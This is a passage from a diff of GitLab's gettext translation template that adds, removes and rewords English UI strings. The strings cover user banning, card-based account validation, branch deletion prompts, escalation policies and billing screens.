msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
